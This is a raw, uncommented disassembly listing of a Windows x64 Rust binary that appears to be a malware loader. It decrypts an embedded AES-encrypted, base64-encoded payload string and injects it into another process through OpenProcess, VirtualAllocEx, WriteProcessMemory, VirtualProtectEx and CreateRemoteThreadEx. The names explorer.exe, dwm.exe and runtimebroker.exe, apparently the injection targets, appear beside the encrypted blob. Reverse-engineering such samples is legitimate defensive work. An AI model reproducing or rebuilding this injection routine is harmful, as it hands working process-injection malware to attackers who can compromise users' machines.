mov si, 0x82cf
cmp rax, 1
jbe 0x14000390f
jmp 0x140003926
lea rcx, [rbp + 0x4a30]
call fcn.14000baf0
lea rcx, [rbp + 0x4a30]
mov edx, esi
call fcn.14000baf0
mov rax, r13
mov r14, r15
jmp 0x140003584
mov r14, qword [rbp + 0x4a38]
mov rdi, qword [rbp + 0x4a40]
push reloc.OLEAUT32.dll_SafeArrayGetDim
pop rdx
mov rsi, qword [rbp + 0x4b28]
mov r15, qword [rbp + 0x4b00]
lea r12, [rbp + 0x4ac0]
lea rbx, [rdx + 0x18]
cmp rbx, 0x70
je 0x140003a9d
mov rcx, qword [rsi + rdx - 8]
mov rdx, qword [rsi + rdx]
mov r8, r14
mov r9, rdi
call fcn.14002a0f2
mov rdx, rbx
test al, al
je 0x1400039b3
mov rcx, qword [rbp + 0x4a30]
mov rdx, r14
call fcn.14000b6b0
mov rdx, qword [rbp + 0x4918]
mov r8, qword [rbp + 0x4920]
lea rcx, [rbp + 0x4a30]
call fcn.14000bd90
lea rbx, [rbp + 0x3fc0]
mov r14, qword [rbp + 0x4b10]
mov rdi, qword [rbp + 0x4a30]
mov rdx, qword [rbp + 0x4a38]
mov rsi, qword [rbp + 0x4a40]
cmp r15, qword [rbp + 0x4898]
jne 0x140003a6a
mov qword [rbp + 0x4b38], rdi
mov qword [rbp + 0x4b58], rdx
lea rcx, [rbp + 0x4898]
mov rdx, r15
call fcn.14003d40c
mov r14, qword [rbp + 0x48a0]
mov r15, qword [rbp + 0x48a8]
mov rdx, qword [rbp + 0x4b58]
mov rdi, qword [rbp + 0x4b38]
mov rax, r15
shl rax, 5
mov ecx, dword [rbp + 0x4b30]
mov dword [r14 + rax], ecx
mov qword [r14 + rax + 8], rdi
mov qword [r14 + rax + 0x10], rdx
mov qword [r14 + rax + 0x18], rsi
inc r15
mov qword [rbp + 0x48a8], r15
mov rdx, qword [rbp + 0x47d0]
jmp 0x140003ac1
mov rcx, qword [rbp + 0x4a30]
mov rdx, r14
call fcn.14000b6b0
lea rbx, [rbp + 0x3fc0]
mov r14, qword [rbp + 0x4b10]
mov rdx, qword [rbp + 0x4b18]
mov rcx, qword [rbp + 0x47c8]
call fcn.14000b6b0
jmp 0x1400030c6
test r15, r15
je 0x140003c0d
xor ecx, ecx
call fcn.140021236
test rax, rax
je 0x140004c6e
mov rsi, qword [rax]
inc qword [rsi]
je 0x140004c99
mov r12, r14
bsr rcx, r15
xor ecx, 0x3f
mov rdi, r15
mov rbx, r15
shl rbx, cl
dec rbx
lea r13, [rsi + 0x10]
push 1
pop r14
push 2
pop r15
mov qword [rbp + 0x4b68], rsi
mov rax, qword [rsi + 0x110]
cmp rax, 0x3f
jae 0x140003b3f
lea rcx, [rax + 2]
mov qword [rsi + 0x110], rcx
mov rax, qword [rsi + rax*4 + 0x10]
jmp 0x140003b7c
jne 0x140003b66
mov esi, dword [rsi + 0x10c]
mov rcx, r13
mov rdx, r14
call fcn.14000f226
mov eax, dword [r13]
shl rax, 0x20
or rax, rsi
mov rsi, qword [rbp + 0x4b68]
jmp 0x140003b7c
mov rcx, r13
mov rdx, r15
call fcn.14000f226
mov rsi, qword [rbp + 0x4b68]
mov rax, qword [rsi + 0x10]
mul rdi
cmp rbx, rax
jb 0x140003b20
cmp rdi, rdx
jbe 0x1400049c5
shl rdx, 5
mov esi, dword [r12 + rdx]
mov rax, qword [r12 + rdx + 0x10]
mov r8, qword [r12 + rdx + 0x18]
lea rcx, [rbp + 0x43c0]
mov rdx, rax
call fcn.14000bd90
mov rax, qword [rbp + 0x43c0]
mov qword [rbp + 0x4b48], rax
mov rax, qword [rbp + 0x43c8]
mov qword [rbp + 0x4b30], rax
mov rcx, qword [rbp + 0x4b68]
call fcn.14002038a
jmp 0x140003bf6
mov rax, qword [rbp + 0x4910]
mov qword [rbp + 0x4b48], rax
mov rax, qword [rbp + 0x4918]
mov qword [rbp + 0x4b30], rax
xor esi, esi
lea rcx, [rbp + 0x4898]
call fcn.14000131f
cmp dword [rbp + 0x4b50], 0
jne 0x140003c4d
jmp 0x140003c60
lea rdx, [0x14005a668]
xor esi, esi
lea rcx, [rbp + 0x43c0]
xor r8d, r8d
call fcn.140001000
mov rax, qword [rbp + 0x43c0]
mov qword [rbp + 0x4b48], rax
mov rax, qword [rbp + 0x43c8]
mov qword [rbp + 0x4b30], rax
lea rcx, [rbp + 0x4898]
call fcn.14000131f
mov rcx, qword [rbp + 0x4910]
mov rdx, qword [rbp + 0x4918]
call fcn.14000b6b0
mov byte [rbp + 0x4b87], 1
lea rcx, [rbp + 0x4a00]
call fcn.14003d4df
mov rax, qword [rbp + 0x4ae0]
mov qword [rbp + 0x4b58], rax
mov rax, qword [rbp + 0x4ae8]
mov qword [rbp + 0x4b68], rax
mov rdi, qword [rbp + 0x4af0]
push 1
pop rdx
mov ecx, 0x1fffff
mov r8d, esi
call sub.KERNEL32.dll_OpenProcess
mov rsi, rax
mov dword [rsp + 0x20], 4
mov rcx, rax
xor edx, edx
mov r8, rdi
mov r9d, 0x1000
call sub.KERNEL32.dll_VirtualAllocEx
mov rbx, rax
and qword [rbp - 0x40], 0
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
mov rcx, rsi
mov rdx, rbx
mov r8, qword [rbp + 0x4b68]
mov r9, rdi
call sub.KERNEL32.dll_WriteProcessMemory
and dword [rbp + 0x43c0], 0
lea rax, [rbp + 0x43c0]
mov qword [rsp + 0x20], rax
push 0x20
pop r9
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
call sub.KERNEL32.dll_VirtualProtectEx
pxor xmm0, xmm0
and dword [rsp + 0x28], 0
movdqu xmmword [rsp + 0x30], xmm0
and qword [rsp + 0x20], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
mov r9, rbx
call sub.KERNEL32.dll_CreateRemoteThreadEx
mov rcx, qword [rbp + 0x4b58]
mov rdx, qword [rbp + 0x4b68]
call fcn.14000b6b0
mov rcx, qword [rbp + 0x4b48]
mov rdx, qword [rbp + 0x4b30]
call fcn.14000b6b0
movaps xmm6, xmmword [rbp + 0x4b90]
movaps xmm7, xmmword [rbp + 0x4ba0]
movaps xmm8, xmmword [rbp + 0x4bb0]
movaps xmm9, xmmword [rbp + 0x4bc0]
movaps xmm10, xmmword [rbp + 0x4bd0]
movaps xmm11, xmmword [rbp + 0x4be0]
movaps xmm12, xmmword [rbp + 0x4bf0]
movaps xmm13, xmmword [rbp + 0x4c00]
movaps xmm14, xmmword [rbp + 0x4c10]
movaps xmm15, xmmword [rbp + 0x4c20]
add rsp, 0x4cb8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push 1
pop r12
mov rcx, r12
mov rdx, qword [rbp + 0x4b28]
call sub.VCRUNTIME140.dll_memcpy
mov r9, qword [rbp + 0x4b50]
lea rax, str.C0kfIMWegNDcRr8aHAxytl2G9fmvrbRVB7O3DI6RrApwazYk2nsJFMMjFt6vNKb2yrtUqnPvRsKTGkaA0MYZ8JzulSk60X1b52bhlRa6u4pFxxj2w4uZ9gf8vHeXRx_uFOBIq6ATlfS84zTQqrJxEwILFGznRU8ndcO__1nLiIUE8TX2ziE5jblff2RzAIXs84KXvqupQQBNtaenUzsi6xwKU815_9smHonFWdXPahldrLFm38_w6HmJsawCZ0FDhUozsLj82huWxI9IkygAlbtDPiIs6nkN7R23aAr_81yennUZJatC64VCaiSxOiwrXnQoF9WMwBp4jU9wS0pQxETaMMOdVNkGxP_SckgRKR5AT3muQA1XjEvtpG1oaKMjANVrCnEs8tWHGhtAgv7VWlhJ9EMTCYr4FtbpZNTDF4zxJd0apawKIfMUefxmDaqppLvdSmFpvQViMRi7MEijOJs7vjHqxRcHGJdBMYwlEIBg1wqYKLg8cM_j9w7s13crojDzuI9y8o7NutGk4hYLkJDGOX4cX7E5a6ZAqk2Uss1IeLu4Y_hQNvkGlti2wjKZloKRhl8iDMraTHO7mADvV7yiEJZ2Gc7oKGfAGwLi0A0NHN5BmNYBNJ0dJXKNNyPhw23zyPz2OOfMpAtN7eZQ_8eNel_9HhYif8EdwcT6XkxEwhhP0Mn8XEi2QJb6w4ZmrgzW3Os9icFWhZdYjITsG0uEbNMuuytaSgKyjy9YvNQtnw3FDOyzGk_2UyHtCqogcxhvJ27mzLJDS6lIBPQtTa36UuIX4eaI3qZiNyA9PIABmITeivuOl5_k5ZXsPAvxedworLmVsr3h4cFZ5Huxp1Dsn7pXzxyQozsuRz_z7fMmyeZFuOt8asrwLZyMOMOz8k8KKtncXPfDOiuoMUoPQL6qLaDadUITL5gczbUToh42X9tl4eHQlZuIC5Kfznga_ggXoVslr8BgVyplyREfqx_IF_s2TLHb_uKsdgIZi4Gk56tEfywYMGiWBJEeMPH8dZ61C_PQz58OOeWXPlXxWmjuUOGboUEA4F_IpfRKrWkN6XZ8A2Phk3BSru931l_QkHa1DR7AQ4ER4WpbujWMnZFewX4nYTPxNN52ELEx41TVX2R_ByZdpCOthL4YH6YS5gh6Lgexplorer.exedwm.exeruntimebroker.exe
mov qword [rbp + 0x4af8], rax
push reloc.OLEAUT32.dll_SafeArrayGetDim
pop rdx
xor eax, eax
xor ecx, ecx
mov qword [rbp + 0x4b08], rdx
mov qword [rbp + 0x4b18], r12
test al, 1
je 0x140003e07
add rcx, 0xf
jb 0x14000443e
cmp rcx, r9
jae 0x14000443e
lea rdx, [rcx + 0x10]
lea rax, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8libaes_0.6.4_srclib.rs
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x4b20], rcx
mov qword [rbp + 0x4b00], rdx
mov r8, r12
call fcn.14000ca48
mov qword [rbp + 0x4b58], rdx
mov r15, rax
lea rax, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8libaes_0.6.4_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, r15
mov rdx, qword [rbp + 0x4b58]
xor r8d, r8d
push 4
pop r9
call fcn.14001cd46
mov rcx, rax
call fcn.14001cd84
mov edi, eax
xor edi, dword [rbp + 0xb4]
lea rax, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8libaes_0.6.4_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, r15
mov rdx, qword [rbp + 0x4b58]
push 4
pop r8
push 8
pop r9
call fcn.14001cd46
mov rcx, rax
call fcn.14001cd84
mov r14d, eax
xor r14d, dword [rbp + 0xb8]
lea rax, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8libaes_0.6.4_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, r15
mov rdx, qword [rbp + 0x4b58]
push 8
pop r8
push 0xc
pop r9
call fcn.14001cd46
mov rcx, rax
call fcn.14001cd84
mov esi, eax
mov ebx, dword [rbp + 0xbc]
lea rax, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8libaes_0.6.4_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, r15
mov rdx, qword [rbp + 0x4b58]
push 0xc
pop r8
push reloc.OLEAUT32.dll_SafeArrayGetDim
pop r9
call fcn.14001cd46
mov rcx, rax
call fcn.14001cd84
mov qword [rbp + 0x4b38], r15
mov rcx, qword [rbp + 0x4b20]
inc rcx
mov qword [rbp + 0x4b10], rcx
xor ebx, esi
xor eax, dword [rbp + 0xc0]
mov cl, byte [rbp + 0x1a4]
shr cl, 1
dec cl
mov byte [rbp + 0x4b30], cl
lea rcx, [rbp + 0xe0]
mov qword [rbp + 0x4b68], rcx
push 0x3c
pop r8
mov qword [rbp + 0x4b48], r8
cmp qword [rbp + 0x4b48], 4
jbe 0x14000446c
mov r10, rdi
shr edi, 0x18
mov esi, eax
shr esi, 0x10
mov r11d, 0xff
and esi, r11d
lea r15, [0x140053b78]
mov edx, dword [r15 + rsi*4]
lea rsi, [0x140053760]
xor edx, dword [rsi + rdi*4]
mov r8, rbx
shr ebx, 8
and ebx, r11d
lea rcx, [0x140053f78]
xor edx, dword [rcx + rbx*4]
mov ebx, r14d
and ebx, r11d
lea r9, [0x140054378]
xor edx, dword [r9 + rbx*4]
mov ebx, r14d
shr ebx, 0x18
mov edi, r10d
shr edi, 0x10
and edi, r11d
mov r13d, dword [r15 + rdi*4]
xor r13d, dword [rsi + rbx*4]
mov ebx, eax
shr ebx, 8
and ebx, r11d
xor r13d, dword [rcx + rbx*4]
mov ebx, r8d
and ebx, r11d
xor r13d, dword [r9 + rbx*4]
mov ebx, r8d
shr ebx, 0x18
mov edi, r14d
shr edi, 0x10
and edi, r11d
mov r12d, dword [r15 + rdi*4]
xor r12d, dword [rsi + rbx*4]
mov ebx, r10d
shr ebx, 8
and ebx, r11d
xor r12d, dword [rcx + rbx*4]
mov ebx, eax
and ebx, r11d
xor r12d, dword [r9 + rbx*4]
shr eax, 0x18
shr r8d, 0x10
and r8d, r11d
mov r15d, dword [r15 + r8*4]
xor r15d, dword [rsi + rax*4]
shr r14d, 8
and r14d, r11d
xor r15d, dword [rcx + r14*4]
and r10d, r11d
xor r15d, dword [r9 + r10*4]
mov rax, qword [rbp + 0x4b68]
xor edx, dword [rax - 0x1c]
mov rdi, rdx
xor r13d, dword [rax - 0x18]
xor r12d, dword [rax - 0x14]
xor r15d, dword [rax - 0x10]
sub byte [rbp + 0x4b30], 1
jb 0x14000415b
cmp qword [rbp + 0x4b48], 8
je 0x140004483
mov eax, r13d
mov r11d, 0xff
and eax, r11d
mov ebx, r12d
shr ebx, 8
and ebx, r11d
lea r9, [0x140053f78]
mov r10d, dword [r9 + rbx*4]
mov ebx, r15d
shr ebx, 0x10
and ebx, r11d
mov r8, rdi
mov esi, r8d
shr esi, 0x18
lea rcx, [0x140054378]
xor r10d, dword [rcx + rax*4]
lea rdx, [0x140053b78]
xor r10d, dword [rdx + rbx*4]
lea rdi, [0x140053760]
xor r10d, dword [rdi + rsi*4]
mov eax, r13d
shr eax, 0x18
mov ebx, r8d
shr ebx, 0x10
and ebx, r11d
mov r14d, dword [rdx + rbx*4]
xor r14d, dword [rdi + rax*4]
mov eax, r15d
shr eax, 8
and eax, r11d
xor r14d, dword [r9 + rax*4]
mov eax, r12d
and eax, r11d
xor r14d, dword [rcx + rax*4]
mov eax, r12d
shr eax, 0x18
mov ebx, r13d
shr ebx, 0x10
and ebx, r11d
mov ebx, dword [rdx + rbx*4]
xor ebx, dword [rdi + rax*4]
mov eax, r8d
shr eax, 8
and eax, r11d
xor ebx, dword [r9 + rax*4]
mov eax, r15d
and eax, r11d
xor ebx, dword [rcx + rax*4]
shr r15d, 0x18
shr r12d, 0x10
and r12d, r11d
mov eax, dword [rdx + r12*4]
xor eax, dword [rdi + r15*4]
shr r13d, 8
and r13d, r11d
xor eax, dword [r9 + r13*4]
and r8d, r11d
xor eax, dword [rcx + r8*4]
mov rcx, qword [rbp + 0x4b68]
xor r10d, dword [rcx - 0xc]
mov rdi, r10
xor r14d, dword [rcx - 8]
xor ebx, dword [rcx - 4]
xor eax, dword [rcx]
add rcx, 0x20
mov qword [rbp + 0x4b68], rcx
add qword [rbp + 0x4b48], 0xfffffffffffffff8
jmp 0x140003f4e
cmp qword [rbp + 0x4b48], 8
je 0x1400049b0
mov rax, qword [rbp + 0x4b68]
mov r14d, dword [rax - 0xc]
lea rax, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8libaes_0.6.4_srclib.rs
mov qword [rsp + 0x20], rax
xor ecx, ecx
push 4
pop rdx
mov r8, qword [rbp + 0x4b38]
mov r9, qword [rbp + 0x4b58]
call fcn.14000ca48
mov rcx, r13
mov r8d, 0xff
and rcx, r8
lea r9, [0x140054808]
movzx ecx, byte [rcx + r9]
mov ebx, r12d
shr ebx, 8
and rbx, r8
movzx ebx, byte [rbx + r9]
mov esi, r15d
shr esi, 0x10
and rsi, r8
movzx r8d, byte [rsi + r9]
mov esi, edi
shr rsi, 0x18
movzx esi, byte [rsi + r9]
shl ebx, 0x10
shl ecx, 0x18
or ecx, ebx
shl r8d, 8
or r8d, ecx
or r8d, esi
mov rsi, qword [rbp + 0x4b38]
bswap r8d
xor r8d, r14d
mov rcx, rax
call fcn.14001ce11
mov rax, qword [rbp + 0x4b68]
mov r14d, dword [rax - 8]
lea rax, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8libaes_0.6.4_srclib.rs
mov qword [rsp + 0x20], rax
push 4
pop rcx
push 8
pop rdx
mov r8, rsi
mov r9, qword [rbp + 0x4b58]
call fcn.14000ca48
mov rcx, r12
mov r8d, 0xff
and rcx, r8
lea r9, [0x140054808]
movzx ecx, byte [rcx + r9]
mov ebx, r15d
shr ebx, 8
and rbx, r8
movzx ebx, byte [rbx + r9]
mov esi, edi
shr esi, 0x10
and rsi, r8
movzx r8d, byte [rsi + r9]
mov esi, r13d
shr rsi, 0x18
movzx esi, byte [rsi + r9]
shl ebx, 0x10
shl ecx, 0x18
or ecx, ebx
shl r8d, 8
or r8d, ecx
or r8d, esi
mov rsi, qword [rbp + 0x4b38]
bswap r8d
xor r8d, r14d
mov rcx, rax
call fcn.14001ce11
mov rax, qword [rbp + 0x4b68]
mov r14d, dword [rax - 4]
lea rax, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8libaes_0.6.4_srclib.rs
mov qword [rsp + 0x20], rax
push 8
pop rcx
push 0xc
pop rdx
mov r8, rsi
mov r9, qword [rbp + 0x4b58]
call fcn.14000ca48
mov rcx, r15
mov r8d, 0xff
and rcx, r8
lea r9, [0x140054808]
movzx ecx, byte [rcx + r9]
mov ebx, edi
shr ebx, 8
and rbx, r8
movzx ebx, byte [rbx + r9]
mov esi, r13d
shr esi, 0x10
and rsi, r8
movzx r8d, byte [rsi + r9]
mov esi, r12d
shr rsi, 0x18
movzx esi, byte [rsi + r9]
shl ebx, 0x10
shl ecx, 0x18
or ecx, ebx
shl r8d, 8
or r8d, ecx
or r8d, esi
mov rsi, qword [rbp + 0x4b38]
bswap r8d
xor r8d, r14d
mov rcx, rax
call fcn.14001ce11
mov rax, qword [rbp + 0x4b68]
mov eax, dword [rax]
mov dword [rbp + 0x4b68], eax
lea rax, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8libaes_0.6.4_srclib.rs
mov qword [rsp + 0x20], rax
push 0xc
pop rcx
push reloc.OLEAUT32.dll_SafeArrayGetDim
pop rdx
mov r8, rsi
mov r9, qword [rbp + 0x4b58]
call fcn.14000ca48
mov esi, 0xff
and rdi, rsi
lea r9, [0x140054808]
movzx ecx, byte [rdi + r9]
shr r13d, 8
and r13, rsi
movzx ebx, byte [r13 + r9]
shr r12d, 0x10
and r12, rsi
movzx r8d, byte [r12 + r9]
mov esi, r15d
shr rsi, 0x18
movzx esi, byte [rsi + r9]
shl ebx, 0x10
shl ecx, 0x18
or ecx, ebx
shl r8d, 8
or r8d, ecx
or r8d, esi
mov r14, qword [rbp + 0x4b38]
bswap r8d
xor r8d, dword [rbp + 0x4b68]
mov rcx, rax
call fcn.14001ce11
xor eax, eax
mov rdx, qword [rbp + 0x4b50]
mov rdi, qword [rbp + 0x4af8]
mov rcx, qword [rbp + 0x4b08]
mov r8, qword [rbp + 0x4b20]
mov rsi, qword [rbp + 0x4b58]
cmp rsi, rax
je 0x1400043f5
cmp rcx, rax
je 0x140004498
mov bl, byte [rdi + rax]
xor byte [r14 + rax], bl
inc rax
jmp 0x1400043db
lea rax, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8libaes_0.6.4_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp + 0x4b28]
mov r9, qword [rbp + 0x4b00]
call fcn.14001cd46
mov qword [rbp + 0x4af8], rax
mov qword [rbp + 0x4b08], rdx
mov al, 1
mov rcx, qword [rbp + 0x4b10]
mov r9, qword [rbp + 0x4b50]
mov r12, qword [rbp + 0x4b18]
jmp 0x140003df9
mov rcx, r9
sub rcx, 1
jb 0x140004a27
movzx eax, byte [r12 + rcx]
xor r14d, r14d
mov rcx, r9
sub rcx, rax
cmovae r14, rcx
cmp r9, r14
mov r15, r9
cmovb r14, r9
jmp 0x1400027c8
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8libaes_0.6.4_srclib.rs
push 4
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8libaes_0.6.4_srclib.rs
xor ecx, ecx
xor edx, edx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8libaes_0.6.4_srclib.rs
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
mov qword [rbp + 0x47d0], rbx
jmp 0x140002ec0
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
xor ecx, ecx
xor edx, edx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 1
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 2
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 3
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 4
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 5
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 6
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 7
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
xor ecx, ecx
xor edx, edx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 1
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 2
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 3
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 4
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 5
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 6
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 7
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
xor ecx, ecx
xor edx, edx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 1
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 2
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 3
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
lea r8, str.C:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode.rsC:Users_admin.cargo_registry_srcmirrors.ustc.edu.cn_61ef6e0cd06fb9b8_base64_0.21.0_srcenginegeneral_purposedecode_suffix.rs
push 4
pop rcx
mov rdx, rcx
call fcn.14003ed60
jmp 0x140004cc6
